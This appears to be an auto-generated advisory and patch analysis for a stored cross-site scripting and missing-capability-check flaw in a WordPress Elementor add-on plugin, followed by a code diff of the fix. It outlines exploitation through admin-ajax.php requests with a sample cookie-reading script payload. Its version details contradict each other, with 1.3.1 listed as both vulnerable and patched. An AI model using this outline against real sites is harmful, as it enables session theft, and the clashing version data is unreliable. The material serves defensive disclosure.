Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-117522: Dynific Addons for Elementor (formerly Anywhere Elementor) < 1.3.1 Authenticated (Author+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.1
Patched Version 1.3.1
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-117522: The Dynific Addons for Elementor (formerly Anywhere Elementor) plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 1.3.1. The vulnerability resides in the plugin’s admin settings and AJAX handlers, where insufficient input sanitization and output escaping allow an authenticated attacker with Author-level access or above to inject arbitrary web scripts. These scripts execute when any user, including an administrator, views an injected page. The CVSS score is 6.4 (Medium), reflecting the need for authentication and user interaction.

Root Cause: The root cause is the lack of proper nonce verification, capability checks, and output escaping in multiple AJAX handlers and meta box saving functions. In includes/admin/admin-helper.php, functions like ae_preview_term(), ae_preview_post(), and ae_acf_repeater_fields() only verify a nonce that is publicly available to all front-end visitors, without checking user capabilities. This allows any authenticated user to access sensitive data. Furthermore, unsanitized input from $_REQUEST[‘q’], $_REQUEST[‘post_type’], and $_REQUEST[‘repeater_loc’] is passed to database queries and reflected back. In includes/admin/template-config.php, the render_config_box() function outputs the saved meta value for ae_preview_author without escaping (line 320), allowing stored XSS. The save function lacks nonce and capability checks. Additionally, includes/admin/admin.php’s save_post handler updates ae_post_template meta without validating the value against a whitelist, enabling stored XSS via template selection.

Exploitation: An attacker with Author-level credentials can exploit this by sending a crafted request to /wp-admin/admin-ajax.php with the action parameter set to ae_preview_term or ae_preview_post, along with a valid nonce (obtainable from any front-end page) and malicious payload in the q parameter. For example, the attacker can inject a script like alert(document.cookie) into the q parameter, which may be stored in the template configuration and later executed. Alternatively, the attacker can manipulate the ae_preview_author field in the template configuration form to include JavaScript, which is then stored and executed when an admin edits the template. The lack of nonce and capability checks on the template-config save function allows the attacker to persist the XSS payload.

Patch Analysis: The patch introduces several security fixes. In admin-helper.php, a new private method verify_editor_ajax_request() verifies the nonce and checks current_user_can(‘edit_posts’), ensuring only users with proper capabilities can access editor AJAX endpoints. Input parameters are now sanitized using sanitize_text_field, sanitize_key, and absint. The SQL query in preview_post_filter now uses $wpdb->prepare() to safely bind the search term. In admin.php, the save_post handler now checks for autosave, revisions, and edit_post capability, and validates ae_post_template against a whitelist. In template-config.php, a nonce field is added to the form, and the save function now verifies the nonce and capability before saving. Output escaping is added for ae_preview_author via esc_attr(). In post-type.php, the ae_global_templates post type now requires the ‘edit_theme_options’ capability (or filtered equivalent) for management. These changes prevent unauthorized access and mitigate XSS.

Impact: Successful exploitation allows an attacker to inject malicious JavaScript that executes in the browser of any user viewing the affected page, including administrators. This can lead to session hijacking, theft of sensitive information (e.g., cookies, nonces), privilege escalation (by creating new admin users), and full site compromise. The vulnerability requires authentication as an Author or higher, but Authors are typically untrusted users, making this a significant risk for multi-author WordPress sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/anywhere-elementor/anywhere-elementor.php
+++ b/anywhere-elementor/anywhere-elementor.php
@@ -4,10 +4,10 @@
  * Description: Free version of Dynific Addons for Elementor.
  * Plugin URI: https://www.wpbuilderaddons.com/dynific-addons-elementor/
  * Author: WPVibes
- * Version: 1.3
+ * Version: 1.3.1
  * Author URI: https://wpvibes.com/
- * Elementor tested up to: 4.0
- * Elementor Pro tested up to: 4.0
+ * Elementor tested up to: 4.3.5
+ * Elementor Pro tested up to: 4.3.2
  * License:      GNU General Public License v2 or later
  * License URI:  http://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: ae-pro
@@ -54,9 +54,9 @@
 // @aep-free-only-end


-define( 'AE_PRO_VERSION', '1.3' );
+define( 'AE_PRO_VERSION', '1.3.1' );
 define( 'AE_PLUGIN_NAME', 'Dynific Addons for Elementor' );
-define( 'AE_PLUGIN_VERSION', '1.3' );
+define( 'AE_PLUGIN_VERSION', '1.3.1' );
 define( 'AE_PLUGIN_LEGACY_NAME', '' );
 define( 'AE_PRO_URL', plugins_url( '/', __FILE__ ) );
 define( 'AE_PRO_PATH', plugin_dir_path( __FILE__ ) );
--- a/anywhere-elementor/build/build.config.php
+++ b/anywhere-elementor/build/build.config.php
@@ -1,57 +0,0 @@
-<?php
-
-return [
-	'common' => [
-		'exclude' => [
-			'.git',
-			'.github',
-			'.gitignore',
-			'.editorconfig',
-			'.env',
-			'.env.*',
-			'node_modules',
-			'dist',
-			'src',
-			'tests',
-			'package.json',
-			'package-lock.json',
-			'composer.json',
-			'composer.lock',
-			'webpack.config.js',
-			'Gruntfile.js',
-			'phpunit.xml',
-			'phpunit.xml.dist',
-			'.phpunit.result.cache',
-			'.phpcs.xml',
-			'.phpcs.xml.dist',
-			'phpcs.xml',
-			'phpcs.xml.dist',
-			'README.md',
-			'readme.dev.md',
-			'readme.dev.txt',
-			'CONTRIBUTING.md',
-			'SECURITY-AUDIT.md',
-			'TESTING-RUNBOOK.md',
-			'resources',
-			'CLAUDE.md',
-			'AGENTS.md',
-			'.claude',
-		],
-	],
-	'free' => [
-		'plugin_name' => 'Dynific Addons for Elementor',
-		'version'     => '1.3',
-		'description' => 'Free version of Dynific Addons for Elementor.',
-		'legacy_name' => '',
-		'exclude'     => [
-			'pro',
-			'freemius',
-		],
-	],
-	'pro' => [
-		'plugin_name' => 'Dynific Addons for Elementor Pro',
-		'version'     => '3.0',
-		'description' => 'Global layouts to use with shortcodes, global post layouts for single and archive pages. Supports CPT and ACF',
-		'legacy_name' => 'formerly Anywhere Elementor Pro',
-	],
-];
--- a/anywhere-elementor/build/build.php
+++ b/anywhere-elementor/build/build.php
@@ -1,288 +0,0 @@
-<?php
-
-$root = realpath( __DIR__ . '/..' );
-$dist = $root . '/dist';
-$config_path = __DIR__ . '/build.config.php';
-$build_config = file_exists( $config_path ) ? include $config_path : [];
-$default_common_exclude = [
-	'.git',
-	'.github',
-	'.gitignore',
-	'.gitattributes',
-	'.editorconfig',
-	'.env',
-	'.env.*',
-	'node_modules',
-	'dist',
-	'src',
-	'tests',
-	'package.json',
-	'package-lock.json',
-	'composer.json',
-	'composer.lock',
-	'webpack.config.js',
-	'Gruntfile.js',
-	'phpunit.xml',
-	'phpunit.xml.dist',
-	'.phpunit.result.cache',
-	'.phpcs.xml',
-	'.phpcs.xml.dist',
-	'phpcs.xml',
-	'phpcs.xml.dist',
-	'README.md',
-	'readme.dev.md',
-	'readme.dev.txt',
-	'CONTRIBUTING.md',
-	'SECURITY-AUDIT.md',
-	'TESTING-RUNBOOK.md',
-	'resources',
-	'watch.sh',
-	'watch.js',
-	'CLAUDE.md',
-	'AGENTS.md',
-	'.claude',
-];
-
-function merge_excludes( $config, $variant ) {
-	global $default_common_exclude;
-	if ( ! is_array( $config ) ) {
-		$config = [];
-	}
-
-	$common = $config['common']['exclude'] ?? [];
-	$variant_exclude = $config[ $variant ]['exclude'] ?? [];
-
-	if ( ! is_array( $common ) ) {
-		$common = [];
-	}
-	if ( ! is_array( $variant_exclude ) ) {
-		$variant_exclude = [];
-	}
-
-	$excludes = array_merge( $default_common_exclude, $common, $variant_exclude );
-	$excludes = array_unique( $excludes );
-	sort( $excludes );
-
-	return $excludes;
-}
-
-function ensure_dir( $path ) {
-	if ( ! is_dir( $path ) ) {
-		mkdir( $path, 0755, true );
-	}
-}
-
-function should_exclude( $name, $exclude_patterns ) {
-	if ( ! is_array( $exclude_patterns ) ) {
-		return false;
-	}
-	foreach ( $exclude_patterns as $pattern ) {
-		if ( $name === $pattern ) {
-			return true;
-		}
-		if ( strpos( $pattern, '*' ) !== false ) {
-			$regex = '/^' . str_replace( '\*', '.*', preg_quote( $pattern, '/' ) ) . '$/';
-			if ( preg_match( $regex, $name ) ) {
-				return true;
-			}
-		}
-	}
-	return false;
-}
-
-function copy_dir( $src, $dst, $exclude_patterns ) {
-	$dir = opendir( $src );
-	ensure_dir( $dst );
-	while ( false !== ( $file = readdir( $dir ) ) ) {
-		if ( $file === '.' || $file === '..' ) {
-			continue;
-		}
-		if ( should_exclude( $file, $exclude_patterns ) ) {
-			continue;
-		}
-
-		$src_path = $src . '/' . $file;
-		$dst_path = $dst . '/' . $file;
-
-		if ( is_dir( $src_path ) ) {
-			copy_dir( $src_path, $dst_path, $exclude_patterns );
-		} else {
-			copy( $src_path, $dst_path );
-		}
-	}
-	closedir( $dir );
-}
-
-function remove_dir( $path ) {
-	if ( ! file_exists( $path ) ) {
-		return;
-	}
-	if ( is_file( $path ) || is_link( $path ) ) {
-		unlink( $path );
-		return;
-	}
-	$items = scandir( $path );
-	foreach ( $items as $item ) {
-		if ( $item === '.' || $item === '..' ) {
-			continue;
-		}
-		remove_dir( $path . '/' . $item );
-	}
-	rmdir( $path );
-}
-
-function strip_marker_block( $content, $marker ) {
-	return preg_replace(
-		'/\R?\/\/\s*@' . preg_quote( $marker, '/' ) . '-start\R.*?\R\/\/\s*@' . preg_quote( $marker, '/' ) . '-end\R?/s',
-		"n",
-		$content
-	);
-}
-
-function get_build_config_value( $config, $variant, $key ) {
-	if ( isset( $config[ $variant ] ) && array_key_exists( $key, $config[ $variant ] ) ) {
-		return $config[ $variant ][ $key ];
-	}
-	return null;
-}
-
-function process_plugin_file( $plugin_path, $variant, $config ) {
-	if ( ! file_exists( $plugin_path ) ) {
-		return;
-	}
-
-	$content = file_get_contents( $plugin_path );
-	if ( $content === false ) {
-		return;
-	}
-
-	if ( $variant === 'free' ) {
-		$plugin_name = get_build_config_value( $config, 'free', 'plugin_name' );
-		$version = get_build_config_value( $config, 'free', 'version' );
-		$description = get_build_config_value( $config, 'free', 'description' );
-		$legacy_name = get_build_config_value( $config, 'free', 'legacy_name' );
-
-		if ( $plugin_name ) {
-			$content = preg_replace( '/^\s*\*\s*Plugin Name:\s*.*$/m', ' * Plugin Name: ' . $plugin_name, $content );
-		}
-		if ( $version ) {
-			$content = preg_replace( '/^\s*\*\s*Version:\s*.*$/m', ' * Version: ' . $version, $content );
-			$content = preg_replace( "/define\(\s*'AE_PRO_VERSION'\s*,\s*'[^']*'\s*\);/m", "define( 'AE_PRO_VERSION', '" . $version . "' );", $content );
-			$content = preg_replace( "/define\(\s*'AE_PLUGIN_VERSION'\s*,\s*'[^']*'\s*\);/m", "define( 'AE_PLUGIN_VERSION', '" . $version . "' );", $content );
-		}
-		if ( $description ) {
-			$content = preg_replace( '/^\s*\*\s*Description:\s*.*$/m', ' * Description: ' . $description, $content );
-		}
-		if ( $plugin_name ) {
-			$content = preg_replace( "/define\(\s*'AE_PLUGIN_NAME'\s*,\s*'[^']*'\s*\);/m", "define( 'AE_PLUGIN_NAME', '" . $plugin_name . "' );", $content );
-		}
-		if ( $legacy_name !== null ) {
-			$content = preg_replace( "/define\(\s*'AE_PLUGIN_LEGACY_NAME'\s*,\s*'[^']*'\s*\);/m", "define( 'AE_PLUGIN_LEGACY_NAME', '" . $legacy_name . "' );", $content );
-		}
-
-		$content = strip_marker_block( $content, 'aep-pro-only' );
-	} else {
-		$plugin_name = get_build_config_value( $config, 'pro', 'plugin_name' );
-		$version = get_build_config_value( $config, 'pro', 'version' );
-		$description = get_build_config_value( $config, 'pro', 'description' );
-		$legacy_name = get_build_config_value( $config, 'pro', 'legacy_name' );
-
-		if ( $plugin_name ) {
-			$content = preg_replace( '/^\s*\*\s*Plugin Name:\s*.*$/m', ' * Plugin Name: ' . $plugin_name, $content );
-			$content = preg_replace( "/define\(\s*'AE_PLUGIN_NAME'\s*,\s*'[^']*'\s*\);/m", "define( 'AE_PLUGIN_NAME', '" . $plugin_name . "' );", $content );
-		}
-		if ( $version ) {
-			$content = preg_replace( '/^\s*\*\s*Version:\s*.*$/m', ' * Version: ' . $version, $content );
-			$content = preg_replace( "/define\(\s*'AE_PRO_VERSION'\s*,\s*'[^']*'\s*\);/m", "define( 'AE_PRO_VERSION', '" . $version . "' );", $content );
-			$content = preg_replace( "/define\(\s*'AE_PLUGIN_VERSION'\s*,\s*'[^']*'\s*\);/m", "define( 'AE_PLUGIN_VERSION', '" . $version . "' );", $content );
-		}
-		if ( $description ) {
-			$content = preg_replace( '/^\s*\*\s*Description:\s*.*$/m', ' * Description: ' . $description, $content );
-		}
-		if ( $legacy_name !== null ) {
-			$content = preg_replace( "/define\(\s*'AE_PLUGIN_LEGACY_NAME'\s*,\s*'[^']*'\s*\);/m", "define( 'AE_PLUGIN_LEGACY_NAME', '" . $legacy_name . "' );", $content );
-		}
-
-		$content = strip_marker_block( $content, 'aep-free-only' );
-	}
-
-	file_put_contents( $plugin_path, $content );
-}
-
-function process_readme_file( $readme_path, $variant, $config ) {
-	if ( ! file_exists( $readme_path ) ) {
-		return;
-	}
-
-	$content = file_get_contents( $readme_path );
-	if ( $content === false ) {
-		return;
-	}
-
-	$version = get_build_config_value( $config, $variant, 'version' );
-	if ( $version ) {
-		$content = preg_replace( '/^Stable tag:\s*.*$/m', 'Stable tag: ' . $version, $content );
-	}
-
-	file_put_contents( $readme_path, $content );
-}
-
-function build_variant( $root, $dist, $variant, $slug, $build_config ) {
-	$variant_dir = $dist . '/' . $variant . '/' . $slug;
-	ensure_dir( $variant_dir );
-
-	$exclude = merge_excludes( $build_config, $variant );
-
-	copy_dir( $root, $variant_dir, $exclude );
-
-	if ( $variant === 'free' ) {
-		$old_plugin = $variant_dir . '/anywhere-elementor-pro.php';
-		$new_plugin = $variant_dir . '/anywhere-elementor.php';
-		if ( file_exists( $old_plugin ) ) {
-			rename( $old_plugin, $new_plugin );
-			process_plugin_file( $new_plugin, 'free', $build_config );
-		}
-	} else {
-		$plugin_file = $variant_dir . '/anywhere-elementor-pro.php';
-		process_plugin_file( $plugin_file, 'pro', $build_config );
-	}
-
-	process_readme_file( $variant_dir . '/readme.txt', $variant, $build_config );
-}
-
-function parse_install_path( $argv ) {
-	foreach ( $argv as $arg ) {
-		if ( strpos( $arg, '--install=' ) === 0 ) {
-			return substr( $arg, strlen( '--install=' ) );
-		}
-	}
-	return null;
-}
-
-ensure_dir( $dist );
-build_variant( $root, $dist, 'pro', 'anywhere-elementor-pro', $build_config );
-build_variant( $root, $dist, 'free', 'anywhere-elementor', $build_config );
-
-$install_path = parse_install_path( $argv );
-if ( $install_path ) {
-	$install_path = rtrim( $install_path, '/' );
-
-	if ( ! is_dir( $install_path ) ) {
-		echo "Install path does not exist: {$install_path}n";
-		exit( 1 );
-	}
-
-	$src_free = $dist . '/free/anywhere-elementor';
-	$dst_free = $install_path . '/anywhere-elementor';
-	remove_dir( $dst_free );
-	copy_dir( $src_free, $dst_free, [] );
-	echo "Installed free build to {$dst_free}n";
-
-	$src_pro = $dist . '/pro/anywhere-elementor-pro';
-	$dst_pro = $install_path . '/anywhere-elementor-pro';
-	remove_dir( $dst_pro );
-	copy_dir( $src_pro, $dst_pro, [] );
-	echo "Installed pro build to {$dst_pro}n";
-}
-
-echo "Build complete.n";
--- a/anywhere-elementor/includes/admin/admin-helper.php
+++ b/anywhere-elementor/includes/admin/admin-helper.php
@@ -55,16 +55,40 @@
 	}


-	public function ae_preview_term() {
+	/**
+	 * Shared gate for the editor-side AJAX helpers below.
+	 *
+	 * The `aep_ajax_nonce` is deliberately printed to every front-end visitor
+	 * (the front-end pagination/load-more features need it), so a valid nonce
+	 * proves nothing about who is calling. These handlers expose editor data
+	 * (post/term search, ACF field maps), so require a real capability too.
+	 */
+	private function verify_editor_ajax_request() {
+		$nonce = isset( $_REQUEST['nonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ) : '';
+
+		if ( ! wp_verify_nonce( $nonce, 'aep_ajax_nonce' ) ) {
+			wp_send_json_error( [ 'message' => 'Invalid nonce' ], 403 );
+		}

-		if ( ! wp_verify_nonce( $_REQUEST['nonce'], 'aep_ajax_nonce' ) ) {
-			wp_die();
+		if ( ! current_user_can( 'edit_posts' ) ) {
+			wp_send_json_error( [ 'message' => 'Forbidden' ], 403 );
 		}
+	}
+
+	public function ae_preview_term() {
+
+		$this->verify_editor_ajax_request();

 		$result   = [];
-		$q        = $_REQUEST['q'];
-		$taxonomy = $_REQUEST['taxonomy'];
-		$terms    = get_terms(
+		$q        = isset( $_REQUEST['q'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['q'] ) ) : '';
+		$taxonomy = isset( $_REQUEST['taxonomy'] ) ? sanitize_key( wp_unslash( $_REQUEST['taxonomy'] ) ) : '';
+
+		$taxonomy_object = get_taxonomy( $taxonomy );
+		if ( ! $taxonomy_object || ! current_user_can( $taxonomy_object->cap->assign_terms ) ) {
+			wp_send_json_success( [] );
+		}
+
+		$terms = get_terms(
 			$taxonomy,
 			[
 				'name__like' => $q,
@@ -73,6 +97,10 @@
 			]
 		);

+		if ( is_wp_error( $terms ) ) {
+			wp_send_json_success( [] );
+		}
+
 		foreach ( $terms as $tid => $term ) {
 			$result[] = [
 				'id'   => $tid,
@@ -88,7 +116,13 @@

 		//phpcs:ignore WordPress.CodeAnalysis.AssignmentInCondition.Found
 		if ( $search_term = $wp_query->get( 'search_post_title' ) ) {
-			$where .= ' AND ' . $wpdb->posts . '.post_title LIKE '%' . $wpdb->esc_like( $search_term ) . '%'';
+			// esc_like() only makes the value safe as a LIKE *pattern*; it does
+			// not escape quotes, so it must never be concatenated into the SQL
+			// string. Bind the whole pattern through prepare() instead.
+			$where .= $wpdb->prepare(
+				' AND ' . $wpdb->posts . '.post_title LIKE %s',
+				'%' . $wpdb->esc_like( $search_term ) . '%'
+			);
 		}

 		return $where;
@@ -96,12 +130,11 @@

 	public function ae_preview_post() {

-		if ( ! wp_verify_nonce( $_REQUEST['nonce'], 'aep_ajax_nonce' ) ) {
-			wp_die();
-		}
+		$this->verify_editor_ajax_request();

 		$results    = [];
-		$post_types = $_REQUEST['post_type'];
+		$post_types = isset( $_REQUEST['post_type'] ) ? wp_unslash( $_REQUEST['post_type'] ) : 'post';
+		$post_types = is_array( $post_types ) ? array_map( 'sanitize_key', $post_types ) : sanitize_key( $post_types );
 		if ( $post_types === 'any' ) {
 			$post_types = get_post_types( [ 'public' => true ], 'names' );

@@ -116,7 +149,7 @@

 		$query_params = [
 			'post_type'         => $post_types,
-			'search_post_title' => sanitize_text_field( $_REQUEST['q'] ),
+			'search_post_title' => isset( $_REQUEST['q'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['q'] ) ) : '',
 		];

 		$params = $query_params;
@@ -126,6 +159,12 @@
 		remove_filter( 'posts_where', [ $this, 'preview_post_filter' ], 10 );

 		foreach ( $query->posts as $post ) {
+			// Never return titles of posts this user isn't allowed to see
+			// (other authors' drafts, private posts, etc.).
+			if ( ! aepro_user_can_view_post( $post ) ) {
+				continue;
+			}
+
 			$results[] = [
 				'id'   => $post->ID,
 				'text' => $post->post_title,
@@ -140,17 +179,16 @@
 	 */
 	public function ae_acf_repeater_fields() {

-		if ( ! wp_verify_nonce( $_REQUEST['nonce'], 'aep_ajax_nonce' ) ) {
-			wp_die();
-		}
+		$this->verify_editor_ajax_request();

 		$helper = new Helper();
-		$loc    = sanitize_text_field( $_REQUEST['repeater_loc'] );
+		$loc    = isset( $_REQUEST['repeater_loc'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['repeater_loc'] ) ) : '';

 		if ( $loc === 'post' ) {

 			$results = [];
-			$fields  = $helper->ae_acf_get_field_objects( sanitize_text_field( $_REQUEST['post_id'] ) );
+			$post_id = isset( $_REQUEST['post_id'] ) ? absint( $_REQUEST['post_id'] ) : 0;
+			$fields  = $post_id && aepro_user_can_view_post( $post_id ) ? $helper->ae_acf_get_field_objects( $post_id ) : [];

 			if ( $fields ) {
 				$repeater_fields = $this->get_repeater_field( $fields );
@@ -183,17 +221,16 @@

 	public function ae_acf_flexible_fields() {

-		if ( ! wp_verify_nonce( $_REQUEST['nonce'], 'aep_ajax_nonce' ) ) {
-			wp_die();
-		}
+		$this->verify_editor_ajax_request();

 		$helper = new Helper();
-		$loc    = sanitize_text_field( $_REQUEST['repeater_loc'] );
+		$loc    = isset( $_REQUEST['repeater_loc'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['repeater_loc'] ) ) : '';

 		if ( $loc === 'post' ) {

 			$results = [];
-			$fields  = $helper->ae_acf_get_field_objects( sanitize_text_field( $_REQUEST['post_id'] ) );
+			$post_id = isset( $_REQUEST['post_id'] ) ? absint( $_REQUEST['post_id'] ) : 0;
+			$fields  = $post_id && aepro_user_can_view_post( $post_id ) ? $helper->ae_acf_get_field_objects( $post_id ) : [];

 			if ( $fields ) {
 				foreach ( $fields as $field_name => $field ) {
@@ -239,7 +276,7 @@
 								if ( $field['type'] === 'repeater' ) {

 										$repeater_fields[ $field['name'] ] = $field['label'];
-										$repeater_sub_fields               = $this->mine_sub_repeaters( $field['sub_fields'], $field['name'], '- ' );
+										$repeater_sub_fields               = $this->mine_sub_repeaters( $field['sub_fields'] ?? [], $field['name'], '- ' );

 										$repeater_fields = array_merge( $repeater_fields, $repeater_sub_fields );
 								}
@@ -268,7 +305,7 @@
 					$label = $prefix . $field['label'];

 					$repeater_fields[ $key ]  = $label;
-					$repeater_from_sub_fields = $this->mine_sub_repeaters( $field['sub_fields'], $key, $prefix . '- ' );
+					$repeater_from_sub_fields = $this->mine_sub_repeaters( $field['sub_fields'] ?? [], $key, $prefix . '- ' );
 					$repeater_fields          = array_merge( $repeater_fields, $repeater_from_sub_fields );

 				} else {
@@ -278,7 +315,7 @@

 					$repeater_fields[ $key ] = $label;
 					$repeater_from_subfield  = $this->mine_sub_repeaters(
-						$field['sub_fields'],
+						$field['sub_fields'] ?? [],
 						$key,
 						$prefix
 						. '- '
@@ -323,7 +360,7 @@
 					$repeater_fields[ $key ] = $label;

 					$repeater_from_subfield = $this->get_repeater_field(
-						$field['sub_fields'],
+						$field['sub_fields'] ?? [],
 						$key,
 						$prefix
 						. '- '
--- a/anywhere-elementor/includes/admin/admin.php
+++ b/anywhere-elementor/includes/admin/admin.php
@@ -224,8 +224,17 @@
 			return;
 		}

+		if ( ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) || wp_is_post_revision( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
+			return;
+		}
+
 		if ( isset( $_POST['ae_post_template'] ) ) {
-			update_post_meta( $post_id, 'ae_post_template', sanitize_text_field( $_POST['ae_post_template'] ) );
+			$template = sanitize_text_field( wp_unslash( $_POST['ae_post_template'] ) );
+
+			// Only Global, None or a published single-post template from the list.
+			if ( array_key_exists( $template, Aepro::$_helper->get_ae_post_templates() ) ) {
+				update_post_meta( $post_id, 'ae_post_template', $template );
+			}
 		}
 	}

--- a/anywhere-elementor/includes/admin/post-type.php
+++ b/anywhere-elementor/includes/admin/post-type.php
@@ -49,6 +49,9 @@
 			'show_in_nav_menus'   => false,
 			'exclude_from_search' => true,
 			'capability_type'     => 'post',
+			// Global templates can be applied site-wide, so managing them needs more than edit_posts.
+			'capabilities'        => $this->get_capabilities(),
+			'map_meta_cap'        => true,
 			'hierarchical'        => false,
 			/* 'menu_icon'           => 'data:image/svg+xml;base64,' . base64_encode(
 				'<svg width="640px" height="778px" viewBox="0 0 640 778" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
@@ -69,4 +72,22 @@
 		];
 		register_post_type( 'ae_global_templates', $args );
 	}
+
+	private function get_capabilities() {
+		$capability = apply_filters( 'aepro/global_templates/capability', 'edit_theme_options' );
+
+		return [
+			'edit_posts'             => $capability,
+			'edit_others_posts'      => $capability,
+			'edit_published_posts'   => $capability,
+			'edit_private_posts'     => $capability,
+			'publish_posts'          => $capability,
+			'read_private_posts'     => $capability,
+			'delete_posts'           => $capability,
+			'delete_others_posts'    => $capability,
+			'delete_published_posts' => $capability,
+			'delete_private_posts'   => $capability,
+			'create_posts'           => $capability,
+		];
+	}
 }
--- a/anywhere-elementor/includes/admin/template-config.php
+++ b/anywhere-elementor/includes/admin/template-config.php
@@ -130,6 +130,8 @@

 	public function render_config_box( $post ) {

+		wp_nonce_field( 'aep_save_template_config', 'aep_template_config_nonce' );
+
 		$helper = new Helper();

 		$admin_helper = AdminHelper::instance();
@@ -318,7 +320,7 @@
 						</div>
 						<div class="ae-control">
 							<?php if($count_users['total_users'] > 100): ?>
-								<input type="text" name="ae_preview_author" id="ae_preview_author" value="<?php echo $saved_meta['ae_preview_author']; ?>" />
+								<input type="text" name="ae_preview_author" id="ae_preview_author" value="<?php echo esc_attr( $saved_meta['ae_preview_author'] ); ?>" />
 								<p><?php echo esc_html__( 'Too many users to display. Please put user id.', 'ae-pro' ); ?></p>
 							<?php else: ?>
 							<select name="ae_preview_author" id="ae_preview_author">
@@ -528,6 +530,20 @@
 			return;
 		}

+		if ( ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) || wp_is_post_revision( $post_id ) ) {
+			return;
+		}
+
+		$nonce = isset( $_POST['aep_template_config_nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['aep_template_config_nonce'] ) ) : '';
+		if ( ! wp_verify_nonce( $nonce, 'aep_save_template_config' ) || ! current_user_can( 'edit_post', $post_id ) ) {
+			return;
+		}
+
+		// The preview post is rendered inside the template, so it must be one the editor can see.
+		if ( ! empty( $_POST['ae_preview_post_ID'] ) && ! aepro_user_can_view_post( absint( $_POST['ae_preview_post_ID'] ) ) ) {
+			$_POST['ae_preview_post_ID'] = '';
+		}
+
 		if ( ! aepro_is_pro_active() ) {
 			$allowed_modes = [ 'normal', 'post_template' ];
 			if ( ! in_array( $_POST['ae_render_mode'], $allowed_modes, true ) ) {
--- a/anywhere-elementor/includes/admin/ui.php
+++ b/anywhere-elementor/includes/admin/ui.php
@@ -4,6 +4,7 @@

 use AeproAepro;
 use AeproAdminAdminHelper;
+use AeproAiTemplateService;

 class Ui {

@@ -450,126 +451,18 @@
 	public function ajax_create_template() {
 		check_ajax_referer( 'aep_ajax_nonce', 'nonce' );

-		$post_type = 'ae_global_templates';
-		$post_type_object = get_post_type_object( $post_type );
+		// Strict = false keeps the silent post_template fallback for Pro-locked types.
+		$result = TemplateService::create( wp_unslash( $_POST ) );

-		if ( ! $post_type_object ) {
-			wp_send_json_error( [ 'message' => __( 'Invalid post type.', 'ae-pro' ) ], 400 );
+		if ( is_wp_error( $result ) ) {
+			$data = $result->get_error_data();
+			wp_send_json_error( [ 'message' => $result->get_error_message() ], isset( $data['status'] ) ? $data['status'] : 400 );
 		}

-		$create_capability = isset( $post_type_object->cap->create_posts ) ? $post_type_object->cap->create_posts : 'edit_posts';
-		if ( ! current_user_can( $create_capability ) ) {
-			wp_send_json_error( [ 'message' => __( 'You are not allowed to create templates.', 'ae-pro' ) ], 403 );
-		}
-
-		$options = $this->get_template_create_options();
-		$type    = isset( $_POST['template_type'] ) ? sanitize_key( wp_unslash( $_POST['template_type'] ) ) : '';
-
-		if ( ! isset( $options[ $type ] ) ) {
-			wp_send_json_error( [ 'message' => __( 'Invalid template type.', 'ae-pro' ) ], 400 );
-		}
-
-		$render_mode = $options[ $type ]['render_mode'];
-		if ( ! aepro_is_pro_active() ) {
-			$allowed_modes = [ 'normal', 'post_template' ];
-			if ( ! in_array( $render_mode, $allowed_modes, true ) ) {
-				$render_mode = 'post_template';
-			}
-		}
-
-		$template_name = isset( $_POST['template_name'] ) ? sanitize_text_field( wp_unslash( $_POST['template_name'] ) ) : '';
-		if ( $template_name === '' ) {
-			$template_name = __( 'No Title', 'ae-pro' );
-		}
-
-		$post_id = wp_insert_post(
-			[
-				'post_type'   => $post_type,
-				'post_title'  => $template_name,
-				'post_status' => 'draft',
-			],
-			true
-		);
-
-		if ( is_wp_error( $post_id ) ) {
-			wp_send_json_error( [ 'message' => $post_id->get_error_message() ], 500 );
-		}
-
-		$meta_keys         = TemplateSettingsSchema::get_shared_meta_keys();
-		$usage_area        = TemplateSettingsSchema::sanitize_usage_area( isset( $_POST['usage_area'] ) ? $_POST['usage_area'] : '', '' );
-		$custom_usage_area = isset( $_POST['custom_usage_area'] ) ? sanitize_text_field( wp_unslash( $_POST['custom_usage_area'] ) ) : '';
-		$rule_post_type    = TemplateSettingsSchema::sanitize_post_type( isset( $_POST['rule_post_type'] ) ? $_POST['rule_post_type'] : '', 'post' );
-
-		// Free version: restrict to built-in post types only.
-		if ( ! aepro_is_pro_active() ) {
-			$free_post_types = [ 'post', 'page' ];
-			if ( ! in_array( $rule_post_type, $free_post_types, true ) ) {
-				$rule_post_type = 'post';
-			}
-		}
-
-		$preview_post_id = isset( $_POST['preview_post_id'] ) ? absint( $_POST['preview_post_id'] ) : 0;
-		if ( $preview_post_id && ! get_post( $preview_post_id ) ) {
-			$preview_post_id = 0;
-		}
-
-		$rule_taxonomy = TemplateSettingsSchema::sanitize_taxonomy( isset( $_POST['rule_taxonomy'] ) ? $_POST['rule_taxonomy'] : '', '' );
-
-		$preview_term = isset( $_POST['preview_term'] ) ? absint( $_POST['preview_term'] ) : 0;
-		if ( $preview_term && ! get_term( $preview_term ) ) {
-			$preview_term = 0;
-		}
-
-		$repeater_loc   = TemplateSettingsSchema::sanitize_repeater_location( isset( $_POST['repeater_loc'] ) ? $_POST['repeater_loc'] : '', 'post' );
-		$acf_field_type = TemplateSettingsSchema::sanitize_acf_field_type( isset( $_POST['acf_field_type'] ) ? $_POST['acf_field_type'] : '', 'repeater' );
-
-		$acf_repeater_name = isset( $_POST['acf_repeater_name'] ) ? sanitize_text_field( wp_unslash( $_POST['acf_repeater_name'] ) ) : '';
-		$acf_flexible_name = isset( $_POST['acf_flexible_name'] ) ? sanitize_text_field( wp_unslash( $_POST['acf_flexible_name'] ) ) : '';
-
